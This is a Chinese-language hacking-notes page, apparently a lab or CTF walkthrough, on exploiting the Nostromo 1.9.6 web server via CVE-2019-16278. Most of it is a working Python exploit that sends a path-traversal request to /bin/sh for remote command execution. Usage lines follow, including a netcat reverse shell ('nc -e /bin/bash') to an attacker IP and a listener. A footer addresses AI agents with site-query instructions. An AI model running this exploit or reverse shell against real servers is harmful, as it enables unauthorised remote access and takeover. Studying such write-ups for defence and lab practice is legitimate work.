> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nostromo-cms-exploitation.md).

# Nostromo

Nostromo 利用笔记：针对 CVE-2019-16278 的远程命令执行、反向 Shell 获取以及 HomeDirs 枚举。

## Nostromo CVE-2019-16278 远程命令执行

**漏洞利用研究：** `searchsploit` 识别出一个针对 Nostromo 1.9.6 的 RCE 漏洞利用。

<figure><img src="/files/eb8ce19793f6d61b640bb85d9f84b9e7317054e8" alt="" width="563"><figcaption></figcaption></figure>

从 GitHub 下载概念验证代码。

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**运行脚本：** 使用以下脚本在服务器上执行命令：

```python
import argparse
import socket

# Argparse 配置
parser = argparse.ArgumentParser(description="针对 CVE-2019-16278 的 Nostromo 1.9.6 RCE 利用")
parser.add_argument("-t", "--target", help="远程主机目标")
parser.add_argument("-p", "--port", help="远程端口目标")
parser.add_argument("-c", "--command", help="要在服务器上执行的命令")
parser.add_argument("-b", "--bytes", help="响应中要接收回的字节数")

# 定义并赋值变量
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# 构建并编码载荷
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# 创建套接字并发送载荷
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# 接收响应并关闭套接字
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/9f1dd9123918eed85cc5b471b9a0347730c173d3" alt="" width="563"><figcaption></figcaption></figure>

**获取反向 Shell：**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/2ab85f9d729747bd35437e6dac6dbf6e505d9fb5" alt=""><figcaption></figcaption></figure>

## 相关说明

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>HomeDirs 配置</h4></td><td>Nostromo HomeDirs 枚举笔记，涵盖 nhttpd.conf 审查、public_www 发现、受保护文件区域访问、备份归档提取以及 SSH 密钥恢复。</td><td><a href="/pages/195410e31528f514085681683b0bc536475b44e3">/pages/195410e31528f514085681683b0bc536475b44e3</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/nostromo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
